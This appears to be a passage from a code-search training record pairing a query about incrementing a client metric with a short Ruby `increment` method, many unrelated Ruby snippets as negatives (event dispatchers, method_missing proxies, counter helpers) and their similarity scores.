HANDLER_CALLS.each { |c|\n if (h = @handlers[c])\n send(c, *(h.opts)) do |obj|\n h.call(obj)\n end\n end\n }\n\n after_run\n end", "def run!\n before_run\n\n HANDLER_CALLS.each { |c|\n if (h = @handlers[c])\n send(c, *(h.opts)) do |obj|\n h.call(obj)\n end\n end\n }\n\n after_run\n end", "def method_missing(method, *args, &block)\n generate_unsafe_delegation(method)\n send(method, *args, &block)\n end", "def handle_dispatch(payload)\n LOGGER.debug { \"Emitting #{payload[:t]}\" }\n emit(payload[:t], payload[:d])\n end", "def handlers=(_arg0); end", "def listen\n raise NotImplementedError.new(\"Implement listen() in your Invoker. \")\n end", "def ev_do_postprocess(was_events); end", "def delegating_method; end", "def add_dispatch(type, method_name, param_names, injections, weaving)\n @dispatchers << Dispatch.new(type, NonPolymorphicVisitor.new(method_name), param_names, injections, weaving)\n end", "def dispatch\n self.class.dispatch_connection.call self\n self\n end", "def register_events\n EventReactor.sub(:trade_cleared, &method(:log_trade_cleared))\n EventReactor.sub(:round_change, &method(:log_round_change))\n end", "def yield_events(container)\n return container.respond_to?(:call) ? container.call : container\n end", "def dispatch(command, event)\n whole_command, first_word_command = dispatch_method_names(command)\n\n if respond_to?(whole_command)\n send(whole_command, event)\n elsif respond_to?(first_word_command)\n send(first_word_command, event, *command[1..-1])\n elsif event.message.author.id == USERS[:archenoth]\n admin_dispatch(command, event)\n end\n end", "def call(scope, *args)\n manipulated_args = [scope] + args\n self.class.dispatcher.dispatch(self, scope, manipulated_args)\n end", "def call(scope, *args)\n manipulated_args = [scope] + args\n self.class.dispatcher.dispatch(self, scope, manipulated_args)\n end", "def bind event, *xargs, &blk\n #$log.debug \"#{self} called EventHandler BIND #{event}, args:#{xargs} \"\n if @_events\n $log.warn \"bind: #{self.class} does not support this event: #{event}. #{@_events} \" if !event? event\n #raise ArgumentError, \"#{self.class} does not support this event: #{event}. #{@_events} \" if !event? event\n else\n # it can come here if bind in initial block, since widgets add to @_event after calling super\n # maybe we can change that.\n $log.warn \"BIND #{self.class} (#{event}) XXXXX no events defined in @_events. Please do so to avoid bugs and debugging. This will become a fatal error soon.\"\n end\n @handler ||= {}\n @event_args ||= {}\n @handler[event] ||= []\n @handler[event] << blk\n @event_args[event] ||= []\n @event_args[event] << xargs\n end", "def invoke!(state)\n ### TODO: encapsulate in PageUpdateQueue:\n Apotomo::EventProcessor.instance.processed_handlers << [name, invoke(:state)]\n end", "def define_event_helpers; end", "def process_events\n until @dead\n event = next_event\n notify_listeners(event)\n event.dispatch\n end\n rescue Exception => ex\n Logger.error \"Error while running event: #{Logger.format_error(ex)}\"\n end", "def delegate_method; end", "def invoke_direct(method_name, *args)\r\n prepare_request('api', 'api', method_name, *args)\r\n @controller.process(@request, @response)\r\n decode_rpc_response\r\n end", "def dispatcher\n screen = screen_name\n # continuosly remove tokens seperated by '_', starting from the end\n # until there are no more tokens, or we find one that we respond to\n begin\n if self.respond_to?(screen.to_sym) \n self.method(screen).call\n return\n end\n tokens = screen.split(\"_\")\n screen = tokens.take(tokens.length - 1).join(\"_\")\n end while screen != \"\"\n # even if we don't have an action for this screen, attempt to embed it.\n # if anything captureui will just 404 or complain.\n embed_screen\n end", "def dispatch(&block)\n @dispatch_block = block\n end", "def run\n raise StateError, \"Dispatcher is already running\" if running?\n @state = RUNNING\n sources.each do |source|\n source.run if source.respond_to?(:run)\n end\n loop do\n IO.select [@r]\n if vals = sync{ @r.read(1); queue.shift }\n callable, args = *vals\n if callable.is_a?(STOP)\n if callable.cleanup?\n sources.each do |source|\n source.stop if source.respond_to?(:stop)\n end\n end\n callable.call(*args)\n @state = STOPPED\n break\n else\n callable.call(*args)\n end\n end\n end\n end", "def initialize(*args)\n super(*args)\n self.class.event_hooks.each do | sym, handler |\n listen(self, sym, handler)\n end\n end", "def method_missing symbol, *args, &block\n @forwarder.call symbol, *args, &block\n end", "def receive_action(action)\n self.define_singleton_method(:perform_action, &action)\n end", "def apply(raw_event); end", "def fire_on_method(method, event_type, &block)\n if method.is_a? Array\n method.map { |sym| fire_on_method(sym, event_type, &block) }\n return\n end\n \n # We alias @parent to parent here, because class_eval can't see outside\n # this scope otherwise.\n parent, old_method = @parent, ('ruby_events_' + method.to_s + '_event_old').to_sym\n if parent && parent.respond_to?(method)\n parent.class.class_eval do\n # If the parent is already responding to the alias method, it means\n # the fire_on_method event was already triggered. Remove the other\n # event and continue if this happens.\n if parent.respond_to?(old_method, true)\n remove_method method\n alias_method method, old_method\n remove_method old_method\n end\n \n alias_method old_method, method\n private old_method\n \n # Make sure the self.send is at the end, or we won't return what we\n # are supposed to.\n define_method method do |*args|\n events.fire(event_type, *args)\n block.call(*args) if block # Calling the block we've been passed\n __send__(old_method, *args)\n end\n end\n else\n raise 'The given object does not respond to method you are trying to intercept calls to.'\n end\n end", "def inherited klass\n new_dispatchers = {}\n @double_dispatchers.each do |name, dispatcher|\n new_dispatchers[name] = Dispatcher.new{|o| instance_exec(o, &dispatcher[o]) }\n end\n\n klass.instance_variable_set(:@double_dispatchers, new_dispatchers)\n end", "def dispatch(msg)\n case msg.command\n when LINK_ESTABLISHING\n ret=on_link_establishing(msg)\n when LINK_ESTABLISHED\n ret=on_link_established(msg)\n when LINK_FAILED\n ret=on_link_failed(msg)\n when LINK_CLOSING\n ret=on_link_closing(msg)\n when LINK_CLOSED\n ret=on_link_closed(msg)\n when RECV_MESSAGE\n ret=on_recv_message(msg)\n when RECV_MESSAGE_BROKEN\n ret=on_recv_message_broken(msg)\n when RECV_MESSAGE_KILL\n ret=on_recv_message_kill(msg)\n when RECV_MESSAGE_PING\n ret=on_recv_message_ping(msg)\n when RECV_MESSAGE_PONG\n ret=on_recv_message_pong(msg)\n when RECV_MESSAGE_ERROR\n ret=on_recv_message_error(msg)\n when RECV_MESSAGE_NOTICE\n ret=on_recv_message_notice(msg)\n when RECV_RPL_INIT\n ret=on_recv_rpl_init(msg)\n when RECV_RPL_TRACELINK\n ret=on_recv_rpl_tracelink(msg)\n when RECV_RPL_TRACECONNECTING\n ret=on_recv_rpl_traceconnecting(msg)\n when RECV_RPL_TRACEHANDSHAKE\n ret=on_recv_rpl_tracehandshake(msg)\n when RECV_RPL_TRACEUNKNOWN\n ret=on_recv_rpl_traceunknown(msg)\n when RECV_RPL_TRACEOPERATOR\n ret=on_recv_rpl_traceoperator(msg)\n when RECV_RPL_TRACEUSER\n ret=on_recv_rpl_traceuser(msg)\n when RECV_RPL_TRACESERVER\n ret=on_recv_rpl_traceserver(msg)\n when RECV_RPL_TRACENEWTYPE\n ret=on_recv_rpl_tracenewtype(msg)\n when RECV_RPL_STATSLINKINF\n ret=on_recv_rpl_statslinkinf(msg)\n when RECV_RPL_STATSCOMMANDS\n ret=on_recv_rpl_statscommands(msg)\n when RECV_RPL_STATSCLINE\n ret=on_recv_rpl_statscline(msg)\n when RECV_RPL_STATSNLINE\n ret=on_recv_rpl_statsnline(msg)\n when RECV_RPL_STATSILINE\n ret=on_recv_rpl_statsiline(msg)\n when RECV_RPL_STATSKLINE\n ret=on_recv_rpl_statskline(msg)\n when RECV_RPL_STATSYLINE\n ret=on_recv_rpl_statsyline(msg)\n when RECV_RPL_ENDOFSTATS\n ret=on_recv_rpl_endofstats(msg)\n when RECV_RPL_UMODEIS\n ret=on_recv_rpl_umodeis(msg)\n when RECV_RPL_STATSLLINE\n ret=on_recv_rpl_statslline(msg)\n when RECV_RPL_STATSUPTIME\n ret=on_recv_rpl_statsuptime(msg)\n when RECV_RPL_STATSOLINE\n ret=on_recv_rpl_statsoline(msg)\n when RECV_RPL_STATSHLINE\n ret=on_recv_rpl_statshline(msg)\n when RECV_RPL_LUSERCLIENT\n ret=on_recv_rpl_luserclient(msg)\n when RECV_RPL_LUSEROP\n ret=on_recv_rpl_luserop(msg)\n when RECV_RPL_LUSERUNKNOWN\n ret=on_recv_rpl_luserunknown(msg)\n when RECV_RPL_LUSERCHANNELS\n ret=on_recv_rpl_luserchannels(msg)\n when RECV_RPL_LUSERME\n ret=on_recv_rpl_luserme(msg)\n when RECV_RPL_ADMINME\n ret=on_recv_rpl_adminme(msg)\n when RECV_RPL_ADMINLOC1\n ret=on_recv_rpl_adminloc1(msg)\n when RECV_RPL_ADMINLOC2\n ret=on_recv_rpl_adminloc2(msg)\n when RECV_RPL_ADMINEMAIL\n ret=on_recv_rpl_adminemail(msg)\n when RECV_RPL_TRACELOG\n ret=on_recv_rpl_tracelog(msg)\n when RECV_RPL_NONE\n ret=on_recv_rpl_none(msg)\n when RECV_RPL_AWAY\n ret=on_recv_rpl_away(msg)\n when RECV_RPL_USERHOST\n ret=on_recv_rpl_userhost(msg)\n when RECV_RPL_ISON\n ret=on_recv_rpl_ison(msg)\n when RECV_RPL_UNAWAY\n ret=on_recv_rpl_unaway(msg)\n when RECV_RPL_NOWAWAY\n ret=on_recv_rpl_nowaway(msg)\n when RECV_RPL_WHOISUSER\n ret=on_recv_rpl_whoisuser(msg)\n when RECV_RPL_WHOISSERVER\n ret=on_recv_rpl_whoisserver(msg)\n when RECV_RPL_WHOISOPERATOR\n ret=on_recv_rpl_whoisoperator(msg)\n when RECV_RPL_WHOWASUSER\n ret=on_recv_rpl_whowasuser(msg)\n when RECV_RPL_ENDOFWHO\n ret=on_recv_rpl_endofwho(msg)\n when RECV_RPL_WHOISIDLE\n ret=on_recv_rpl_whoisidle(msg)\n when RECV_RPL_ENDOFWHOIS\n ret=on_recv_rpl_endofwhois(msg)\n when RECV_RPL_WHOISCHANNELS\n ret=on_recv_rpl_whoischannels(msg)\n when RECV_RPL_LISTSTART\n ret=on_recv_rpl_liststart(msg)\n when RECV_RPL_LIST\n ret=on_recv_rpl_list(msg)\n when RECV_RPL_LISTEND\n ret=on_recv_rpl_listend(msg)\n when RECV_RPL_CHANNELMODEIS\n ret=on_recv_rpl_channelmodeis(msg)\n when RECV_RPL_NOTOPIC\n ret=on_recv_rpl_notopic(msg)\n when RECV_RPL_TOPIC\n ret=on_recv_rpl_topic(msg)\n when RECV_RPL_INVITING\n ret=on_recv_rpl_inviting(msg)\n when RECV_RPL_SUMMONING\n ret=on_recv_rpl_summoning(msg)\n when RECV_RPL_VERSION\n ret=on_recv_rpl_version(msg)\n when RECV_RPL_WHOREPLY\n ret=on_recv_rpl_whoreply(msg)\n when RECV_RPL_NAMREPLY\n ret=on_recv_rpl_namreply(msg)\n when RECV_RPL_LINKS\n ret=on_recv_rpl_links(msg)\n when RECV_RPL_ENDOFLINKS\n ret=on_recv_rpl_endoflinks(msg)\n when RECV_RPL_ENDOFNAME\n ret=on_recv_rpl_endofname(msg)\n when RECV_RPL_BANLIST\n ret=on_recv_rpl_banlist(msg)\n when RECV_RPL_ENDOFBANLIST\n ret=on_recv_rpl_endofbanlist(msg)\n when RECV_RPL_ENDOFWHOWAS\n ret=on_recv_rpl_endofwhowas(msg)\n when RECV_RPL_INFO\n ret=on_recv_rpl_info(msg)\n when RECV_RPL_MOTD\n ret=on_recv_rpl_motd(msg)\n when RECV_RPL_ENDOFINFO\n ret=on_recv_rpl_endofinfo(msg)\n when RECV_RPL_MOTDSTART\n ret=on_recv_rpl_motdstart(msg)\n when RECV_RPL_ENDOFMOTD\n ret=on_recv_rpl_endofmotd(msg)\n when RECV_RPL_YOUREOPER\n ret=on_recv_rpl_youreoper(msg)\n when RECV_RPL_REHASHING\n ret=on_recv_rpl_rehashing(msg)\n when RECV_RPL_TIME\n ret=on_recv_rpl_time(msg)\n when RECV_RPL_USERS\n ret=on_recv_rpl_users(msg)\n when RECV_RPL_ENDOFUSERS\n ret=on_recv_rpl_endofusers(msg)\n when RECV_RPL_NOUSERS\n ret=on_recv_rpl_nousers(msg)\n when RECV_ERR_NOSUCHNICK\n ret=on_recv_err_nosuchnick(msg)\n when RECV_ERR_NOSUCHSERVE\n ret=on_recv_err_nosuchserve(msg)\n when RECV_ERR_NOSUCHCHANNEL\n ret=on_recv_err_nosuchchannel(msg)\n when RECV_ERR_CANNOTSENDTOCHAN\n ret=on_recv_err_cannotsendtochan(msg)\n when RECV_ERR_TOOMANYCHANNELS\n ret=on_recv_err_toomanychannels(msg)\n when RECV_ERR_WASNOSUCHNICK\n ret=on_recv_err_wasnosuchnick(msg)\n when RECV_ERR_TOOMANYTARGETS\n ret=on_recv_err_toomanytargets(msg)\n when RECV_ERR_NOORIGIN\n ret=on_recv_err_noorigin(msg)\n when RECV_ERR_NORECIPIENT\n ret=on_recv_err_norecipient(msg)\n when RECV_ERR_NOTEXTTOSEND\n ret=on_recv_err_notexttosend(msg)\n when RECV_ERR_NOTOPLEVE\n ret=on_recv_err_notopleve(msg)\n when RECV_ERR_WILDTOPLEVEL\n ret=on_recv_err_wildtoplevel(msg)\n when RECV_ERR_UNKNOWNCOMMAND\n ret=on_recv_err_unknowncommand(msg)\n when RECV_ERR_NOMOTD\n ret=on_recv_err_nomotd(msg)\n when RECV_ERR_NOADMININFO\n ret=on_recv_err_noadmininfo(msg)\n when RECV_ERR_FILEERROR\n ret=on_recv_err_fileerror(msg)\n when RECV_ERR_NONICKNAMEGIVEN\n ret=on_recv_err_nonicknamegiven(msg)\n when RECV_ERR_ERRONEUSNICKNAME\n ret=on_recv_err_erroneusnickname(msg)\n when RECV_ERR_NICKNAMEINUSE\n ret=on_recv_err_nicknameinuse(msg)\n when RECV_ERR_NICKCOLLISION\n ret=on_recv_err_nickcollision(msg)\n when RECV_ERR_USERNOTINCHANNEL\n ret=on_recv_err_usernotinchannel(msg)\n when RECV_ERR_NOTONCHANNE\n ret=on_recv_err_notonchanne(msg)\n when RECV_ERR_USERONCHANNEL\n ret=on_recv_err_useronchannel(msg)\n when RECV_ERR_NOLOGIN\n ret=on_recv_err_nologin(msg)\n when RECV_ERR_SUMMONDISABLED\n ret=on_recv_err_summondisabled(msg)\n when RECV_ERR_USERSDISABLED\n ret=on_recv_err_usersdisabled(msg)\n when RECV_ERR_NOTREGISTERED\n ret=on_recv_err_notregistered(msg)\n when RECV_ERR_NEEDMOREPARAM\n ret=on_recv_err_needmoreparam(msg)\n when RECV_ERR_ALREADYREGISTRE\n ret=on_recv_err_alreadyregistre(msg)\n when RECV_ERR_NOPERMFORHOST\n ret=on_recv_err_nopermforhost(msg)\n when RECV_ERR_PASSWDMISMATCH\n ret=on_recv_err_passwdmismatch(msg)\n when RECV_ERR_YOUREBANNEDCREEP\n ret=on_recv_err_yourebannedcreep(msg)\n when RECV_ERR_KEYSET\n ret=on_recv_err_keyset(msg)\n when RECV_ERR_CHANNELISFULL\n ret=on_recv_err_channelisfull(msg)\n when RECV_ERR_UNKNOWNMODE\n ret=on_recv_err_unknownmode(msg)\n when RECV_ERR_INVITEONLYCHAN\n ret=on_recv_err_inviteonlychan(msg)\n when RECV_ERR_BANNEDFROMCHAN\n ret=on_recv_err_bannedfromchan(msg)\n when RECV_ERR_BADCHANNELKEY\n ret=on_recv_err_badchannelkey(msg)\n when RECV_ERR_NOPRIVILEGES\n ret=on_recv_err_noprivileges(msg)\n when RECV_ERR_CHANOPRIVSNEEDED\n ret=on_recv_err_chanoprivsneeded(msg)\n when RECV_ERR_CANTKILLSERVER\n ret=on_recv_err_cantkillserver(msg)\n when RECV_ERR_NOOPERHOST\n ret=on_recv_err_nooperhost(msg)\n when RECV_ERR_UMODEUNKNOWNFLAG\n ret=on_recv_err_umodeunknownflag(msg)\n when RECV_ERR_USERSDONTMATCH\n ret=on_recv_err_usersdontmatch(msg)\n when RECV_CMND_UNKNOWN\n ret=on_recv_cmnd_unknown(msg)\n when RECV_CMND_PASS\n ret=on_recv_cmnd_pass(msg)\n when RECV_CMND_NICK\n ret=on_recv_cmnd_nick(msg)\n when RECV_CMND_USER\n ret=on_recv_cmnd_user(msg)\n when RECV_CMND_SERVER\n ret=on_recv_cmnd_server(msg)\n when RECV_CMND_OPER\n ret=on_recv_cmnd_oper(msg)\n when RECV_CMND_QUIT\n ret=on_recv_cmnd_quit(msg)\n when RECV_CMND_SQUIT\n ret=on_recv_cmnd_squit(msg)\n when RECV_CMND_JOIN\n ret=on_recv_cmnd_join(msg)\n when RECV_CMND_PART\n ret=on_recv_cmnd_part(msg)\n when RECV_CMND_MODE\n ret=on_recv_cmnd_mode(msg)\n when RECV_CMND_TOPIC\n ret=on_recv_cmnd_topic(msg)\n when RECV_CMND_NAMES\n ret=on_recv_cmnd_names(msg)\n when RECV_CMND_LIST\n ret=on_recv_cmnd_list(msg)\n when RECV_CMND_INVITE\n ret=on_recv_cmnd_invite(msg)\n when RECV_CMND_KICK\n ret=on_recv_cmnd_kick(msg)\n when RECV_CMND_VERSION\n ret=on_recv_cmnd_version(msg)\n when RECV_CMND_STATAS\n ret=on_recv_cmnd_statas(msg)\n when RECV_CMND_LINK\n ret=on_recv_cmnd_link(msg)\n when RECV_CMND_TIME\n ret=on_recv_cmnd_time(msg)\n when RECV_CMND_CONNECT\n ret=on_recv_cmnd_connect(msg)\n when RECV_CMND_TRACE\n ret=on_recv_cmnd_trace(msg)\n when RECV_CMND_ADMIN\n ret=on_recv_cmnd_admin(msg)\n when RECV_CMND_INFO\n ret=on_recv_cmnd_info(msg)\n when RECV_CMND_PRIVMSG\n ret=on_recv_cmnd_privmsg(msg)\n when RECV_CMND_NOTICE\n ret=on_recv_cmnd_notice(msg)\n when RECV_CMND_WHO\n ret=on_recv_cmnd_who(msg)\n when RECV_CMND_WHOIS\n ret=on_recv_cmnd_whois(msg)\n when RECV_CMND_WHOWAS\n ret=on_recv_cmnd_whowas(msg)\n when RECV_CMND_KILL\n ret=on_recv_cmnd_kill(msg)\n when RECV_CMND_PING\n ret=on_recv_cmnd_ping(msg)\n when RECV_CMND_PONG\n ret=on_recv_cmnd_pong(msg)\n when RECV_CMND_ERROR\n ret=on_recv_cmnd_error(msg)\n when RECV_CMND_AWAY\n ret=on_recv_cmnd_away(msg)\n when RECV_CMND_REHASH\n ret=on_recv_cmnd_rehash(msg)\n when RECV_CMND_RESTART\n ret=on_recv_cmnd_restart(msg)\n when RECV_CMND_SUMMON\n ret=on_recv_cmnd_summon(msg)\n when RECV_CMND_USERS\n ret=on_recv_cmnd_users(msg)\n when RECV_CMND_WALLOPS\n ret=on_recv_cmnd_wallops(msg)\n when RECV_CMND_USERHOST\n ret=on_recv_cmnd_userhost(msg)\n when RECV_CMND_ISON\n ret=on_recv_cmnd_ison(msg)\n when RECV_CMND_CTCP_QUERY\n ret=on_recv_cmnd_ctcp_query(msg)\n when RECV_CMND_CTCP_QUERY_UNKNOWN\n ret=on_recv_cmnd_ctcp_query_unknown(msg)\n when RECV_CMND_CTCP_QUERY_PING\n ret=on_recv_cmnd_ctcp_query_ping(msg)\n when RECV_CMND_CTCP_QUERY_ECHO\n ret=on_recv_cmnd_ctcp_query_echo(msg)\n when RECV_CMND_CTCP_QUERY_TIME\n ret=on_recv_cmnd_ctcp_query_time(msg)\n when RECV_CMND_CTCP_QUERY_VERSION\n ret=on_recv_cmnd_ctcp_query_version(msg)\n when RECV_CMND_CTCP_QUERY_CLIENTINFO\n ret=on_recv_cmnd_ctcp_query_clientinfo(msg)\n when RECV_CMND_CTCP_QUERY_USERINFO\n ret=on_recv_cmnd_ctcp_query_userinfo(msg)\n when RECV_CMND_CTCP_QUERY_ACTION\n ret=on_recv_cmnd_ctcp_query_action(msg)\n when RECV_CMND_CTCP_QUERY_DCC\n ret=on_recv_cmnd_ctcp_query_dcc(msg)\n when RECV_CMND_CTCP_ANSWER\n ret=on_recv_cmnd_ctcp_answer(msg)\n when RECV_CMND_CTCP_ANSWER_UNKNOWN\n ret=on_recv_cmnd_ctcp_answer_unknown(msg)\n when RECV_CMND_CTCP_ANSWER_PING\n ret=on_recv_cmnd_ctcp_answer_ping(msg)\n when RECV_CMND_CTCP_ANSWER_ECHO\n ret=on_recv_cmnd_ctcp_answer_echo(msg)\n when RECV_CMND_CTCP_ANSWER_TIME\n ret=on_recv_cmnd_ctcp_answer_time(msg)\n when RECV_CMND_CTCP_ANSWER_VERSION\n ret=on_recv_cmnd_ctcp_answer_version(msg)\n when RECV_CMND_CTCP_ANSWER_CLIENTINFO\n ret=on_recv_cmnd_ctcp_answer_clientinfo(msg)\n when RECV_CMND_CTCP_ANSWER_USERINFO\n ret=on_recv_cmnd_ctcp_answer_userinfo(msg)\n when RECV_CMND_CTCP_ANSWER_ACTION\n ret=on_recv_cmnd_ctcp_answer_action(msg)\n when RECV_CMND_CTCP_ANSWER_DCC\n ret=on_recv_cmnd_ctcp_answer_dcc(msg)\n else\n ret=default_action(msg)\n end\n\n return ret\n end", "def method_missing(method, *args, &block)\n #$stderr.puts \"Method missing: #{method}\"\n if @_receivers.last.respond_to?(method)\n #$stderr.puts \"Proxy [#{method}] to receiver\"\n @_receivers.last.__send__(method, *args, &block)\n else\n #$stderr.puts \"Proxy [#{method}] to context\"\n @_context.__send__(method, *args, &block)\n end\n end", "def AddBatchConverterEventsHandler(arg0)\n ret = _invoke(1610744289, [arg0], [VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def handlers; end", "def handlers; end", "def handlers; end", "def method_missing(method_sym, *arguments, &block)\n if event_method?(method_sym)\n send_event_to_aggregate(method_sym, *arguments, &block)\n else\n @_aggregate.send method_sym, *arguments, &block\n end\n end", "def dispatch_state(state)\n send(state)\n end", "def dispatch_event(event_name, args)\n @event_message_channels[event_name].each do |message_channel|\n message_channel.send [:event, event_name, args]\n end\n end", "def dispatch(*args)\n log(:debug) { 'Dispatch message to worker.' }\n\n fetch_idle_worker.future :dispatch, args\n end", "def method_missing(name, *args, &block)\n self.receiver.send name, *args, &block\n end", "def process_action(method_name)\n send(method_name)\n end", "def react_to *args; end", "def apply_events(events)\n events.each do |event|\n method_name = event_handler(event)\n public_send(method_name, event.data) if respond_to?(method_name)\n end\n @revision = events.last&.revision.to_i if events.last.respond_to?(:revision)\n end", "def trigger_class_callback_actions(method, type)\n self.class.callback_actions_for(method, type).each do |callback|\n \n if callback.block\n self.instance_eval(&callback.block)\n else\n callback.proc.call\n end\n end\n \n #I'm not happy with this...\n if self.respond_to?(\"#{type}_#{method}\")\n self.send(\"#{type}_#{method}\")\n end\n end", "def emit(events, *arguments)\n list(events).each do |event_name|\n event_listeners = listeners[event_name.to_sym] || []\n event_listeners.each do |listener|\n listener.call(*arguments)\n end\n end\n\n self\n end", "def process_methdef exp\n meth_name = exp.method_name\n\n Brakeman.debug \"Processing #{@current_class}##{meth_name}\"\n\n #Skip if instructed to only process a specific method\n #(but don't skip if this method was called from elsewhere)\n return exp if @current_method.nil? and @only_method and @only_method != meth_name\n\n is_route = route? meth_name\n other_method = @current_method\n @current_method = meth_name\n @rendered = false if is_route\n\n meth_env do\n if is_route\n before_filter_list(@current_method, @current_class).each do |f|\n process_before_filter f\n end\n end\n\n process_all exp.body\n\n if is_route and not @rendered\n process_default_render exp\n end\n end\n\n @current_method = other_method\n exp\n end", "def method_missing( sym, *args )\n\t\tself.log.debug \"Dynamic dispatch to %p with args: %p\" % [ sym, args ]\n\n\t\t# First, if the entry hasn't yet been loaded, try loading it to make sure the\n\t\t# object is already extended with any applicable objectClass mixins. If that ends\n\t\t# up defining the method in question, call it.\n\t\tif (( meth = self.entry_method(sym) ))\n\t\t\treturn meth.call( *args )\n\t\tend\n\n\t\t# Next, super to rdn-traversal if it looks like a reader but has arguments\n\t\tplainsym, methodtype = attribute_from_method( sym )\n\t\treturn super if methodtype == :reader && !args.empty?\n\n\t\t# Now make a method body for a new method based on what attributeType it is if\n\t\t# it's a valid attribute\n\t\tattrtype = self.find_attribute_type( plainsym ) or return super\n\t\tmethodbody = case methodtype\n\t\t\twhen :writer\n\t\t\t\tself.make_writer( attrtype )\n\t\t\twhen :predicate\n\t\t\t\tself.make_predicate( attrtype )\n\t\t\telse\n\t\t\t\tself.make_reader( attrtype )\n\t\t\tend\n\n\t\t# Define the new method and call it by fetching the corresponding Method object\n\t\t# so we don't loop back through #method_missing if something goes wrong\n\t\tself.class.send( :define_method, sym, &methodbody )\n\t\treturn self.method( sym ).call( *args )\n\tend", "def input_events\n raise NotImplementedError\n end" ]
[ "0.6104651", "0.6094436", "0.58548313", "0.5739248", "0.5621523", "0.56188124", "0.56188124", "0.5578764", "0.55769336", "0.55766064", "0.5537769", "0.54632103", "0.54305756", "0.5410659", "0.5399351", "0.5391169", "0.5385137", "0.53334993", "0.5327665", "0.53168714", "0.53016657", "0.5295396", "0.5286823", "0.52866876", "0.52856314", "0.52405113", "0.5240319", "0.5237729", "0.5237729", "0.5226935", "0.5214867", "0.52034104", "0.52027166", "0.5196796", "0.51945394", "0.51938444", "0.51847273", "0.51808655", "0.5170425", "0.5168451", "0.51666975", "0.51637113", "0.51575017", "0.5153861", "0.51533777", "0.5152383", "0.51440597", "0.5123384", "0.51062214", "0.5102885", "0.51013005", "0.50747526", "0.50670093", "0.50670093", "0.5062762", "0.5055327", "0.5045304", "0.50378084", "0.50297296", "0.5019705", "0.5009762", "0.5008915", "0.500852", "0.49969482", "0.49937725", "0.4987657", "0.4987657", "0.4983262", "0.49797457", "0.49758628", "0.49696207", "0.49497995", "0.49489814", "0.49476323", "0.4938687", "0.49367177", "0.49233687", "0.49206874", "0.49203748", "0.49060664", "0.49006924", "0.4896913", "0.48957157", "0.48904738", "0.4884313", "0.4877244", "0.4877244", "0.4877244", "0.48762953", "0.48695132", "0.48621598", "0.48550266", "0.485", "0.48482078", "0.48373705", "0.48338187", "0.4821497", "0.48194703", "0.4809063", "0.4804451", "0.47991204" ]
0.0
-1
Internal: Increment a metric for the client. metric The String name of the metric to increment. value The Integer value to increment by. Returns nothing.
def increment(metric, value = 1) @adapter.increment metric, value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def metric_increment(metric_name)\n metric.increment(metric_name)\n end", "def _statsd_increment(metric)\n statsd.increment(metric) if statsd\n end", "def increment_metric(metric_name, amount = 1) # THREAD_LOCAL_ACCESS\n return unless agent\n\n if amount == 1\n metrics = [metric_name, SUPPORTABILITY_INCREMENT_METRIC]\n agent.stats_engine.tl_record_unscoped_metrics(metrics) { |stats| stats.increment_count }\n else\n agent.stats_engine.tl_record_unscoped_metrics(metric_name) { |stats| stats.increment_count(amount) }\n agent.stats_engine.tl_record_unscoped_metrics(SUPPORTABILITY_INCREMENT_METRIC) { |stats| stats.increment_count }\n end\n end", "def incr(key, value = 1)\n mon_synchronize do\n perform [\"incr\", key, value], :proc => T_INT\n end\n end", "def _inc(key,value)\n _set(key, (_get(key) || 0) + value)\n end", "def incr(key, value = 1)\n mon_synchronize do\n perform [\"incr\", key, value], proc: T_INT\n end\n end", "def register_metric(metric)\n @metrics << metric\n metric\n end", "def report_counter_metric(metric, type, value)\n @processors ||= {}\n\n if @processors[metric].nil?\n @processors[metric] = NewRelic::Processor::EpochCounter.new\n end\n\n report_metric metric, type, @processors[metric].process(value)\n end", "def incr(att)\n raise ArgumentError unless counters.include?(att)\n write_local(att, db.incr(key(att)))\n end", "def add_custom_metric(index, value)\n self.custom_metrics[\"cm#{index}\"] = value\n end", "def set_metric(metric)\n @metric = metric\n end", "def increment(name = nil, duration = nil, description = nil, **kwargs)\n name = kwargs[:name] if name.nil?\n duration = kwargs[:duration] if duration.nil?\n description = kwargs[:description] if description.nil?\n\n if (metric = metrics[name])\n metric.increment(duration)\n else\n metric = Metric.new(name: name, duration: duration, description: description)\n metrics[name] = metric\n end\n end", "def increment(key)\n @counter[key] += 1\n end", "def increment(request_id, value)\n unless has_request_id? request_id\n self.counts[actor][\"total\"] += value\n self.counts[actor][\"requests\"] << request_id\n end\n end", "def increment(att, count = 1)\n key[:counters].call(\"HINCRBY\", att, count)\n end", "def increment_counter(key)\n if @counters.key?(key)\n @counters[key] += 1\n else\n @counters[key] = 1\n end\n end", "def increment(key, inc_value = 1, expires_in = nil, initial = nil)\n puts \"Rails.cache.increment(#{key}, #{inc_value}, {expires_in: #{get_ttl(expires_in)}, initial: #{initial}, raw: false})\"\n return Rails.cache.increment(key, inc_value, {expires_in: get_ttl(expires_in), initial: initial, raw: false})\n rescue => exc\n Rails.logger.error { \"MEMCACHE-ERROR: increment: K: #{key}. M: #{exc.message}, I: #{exc.inspect}\" }\n return nil\n end", "def increment_counter(counter_name, id)\n update_counters(id, counter_name.to_sym => 1)\n end", "def increment\n @value += 1\n end", "def incr(key, increment=nil)\n timeout_retry(3, 3){\n if increment\n write \"INCRBY #{key} #{increment}\\r\\n\"\n else\n write \"INCR #{key}\\r\\n\"\n end \n integer_reply\n }\n end", "def increment_counter!\n # Increment the counter\n sql(:execute, %(\n INSERT INTO knifeswitch_counters (name,counter)\n VALUES (?, 1)\n ON DUPLICATE KEY UPDATE counter=counter+1\n ), namespace)\n\n # Possibly open the circuit\n sql(\n :execute,\n %(\n UPDATE knifeswitch_counters\n SET closetime = ?\n WHERE name = ? AND COUNTER >= ?\n ),\n DateTime.now + error_timeout.seconds,\n namespace, error_threshold\n )\n end", "def increment(key, offset=1)\n ret, value = Lib.memcached_increment(@struct, key, offset)\n check_return_code(ret, key)\n value\n rescue => e\n tries ||= 0\n raise unless tries < options[:exception_retry_limit] && should_retry(e)\n tries += 1\n retry\n end", "def increment key\n @statsd_client.increment [@options[:env], @options[:prefix], key].join(\".\")\n end", "def increment_counter(counter_name, value: 1, timestamp: nil, dimensions: [])\n return unless configuration.supported_environments.include? configuration.current_environment\n timestamp ||= default_timestamp\n dimensions << { env: configuration.current_environment } if dimensions.empty?\n signalfx_client.bf_xmit(counters: [\n metric: counter_name.to_s,\n value: value,\n timestamp: timestamp.to_s,\n dimensions: dimensions,\n ])\n end", "def incr_counter!(name, val = 1)\n counter = self.send(name.to_sym)\n 